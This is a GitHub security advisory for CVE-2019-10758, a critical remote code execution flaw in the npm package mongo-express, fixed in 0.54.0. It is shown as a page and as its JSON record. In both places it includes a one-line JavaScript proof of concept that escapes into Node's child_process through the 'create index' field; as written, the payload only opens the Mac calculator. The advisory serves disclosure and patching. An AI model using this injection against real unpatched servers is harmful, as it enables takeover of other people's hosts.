ghsa-h47j-hc6x-h3qq
Vulnerability from github
Published
2019-12-30 19:30
Modified
2025-10-22 17:44
Severity ?
9.9 (Critical) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H
Summary
Remote Code Execution Vulnerability in NPM mongo-express
Details

Impact

Remote code execution on the host machine by any authenticated user.

Proof Of Concept

Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:

javascript this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

Patches

Users should upgrade to version 0.54.0

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

For more information

If you have any questions or comments about this advisory: * Open an issue in example link to repo * Email us at example email address

Thanks

@JLLeitschuh for finding and reporting this vulnerability

This vulnerability has been exploited in the wild.

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        "name": "mongo-express"
      },
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        {
          "events": [
            {
              "introduced": "0"
            },
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              "fixed": "0.54.0"
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          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10758"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-12-30T19:29:02Z",
    "nvd_published_at": "2019-12-24T22:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nRemote code execution on the host machine by any authenticated user.\n\n### Proof Of Concept\n\nLaunching mongo-express on a Mac, pasting the following into the \"create index\" field will pop open the Mac calculator:\n\n```javascript\nthis.constructor.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027/Applications/Calculator.app/Contents/MacOS/Calculator\u0027)\n```\n\n### Patches\nUsers should upgrade to version `0.54.0`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n\n#### Thanks\n\n@JLLeitschuh for finding and reporting this vulnerability\n\nThis vulnerability has been [exploited](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758) in the wild.",
  "id": "GHSA-h47j-hc6x-h3qq",
  "modified": "2025-10-22T17:44:59Z",
  "published": "2019-12-30T19:30:31Z",
  "references": [
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      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10758"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mongo-express/mongo-express/pull/522"
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      "type": "WEB",
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      "type": "PACKAGE",
      "url": "https://github.com/mongo-express/mongo-express"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mongo-express/mongo-express/blob/ea02b364d43f179f191fc91fb9962efdb0843a8d/lib/bson.js#L60"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Remote Code Execution Vulnerability in NPM mongo-express"
}


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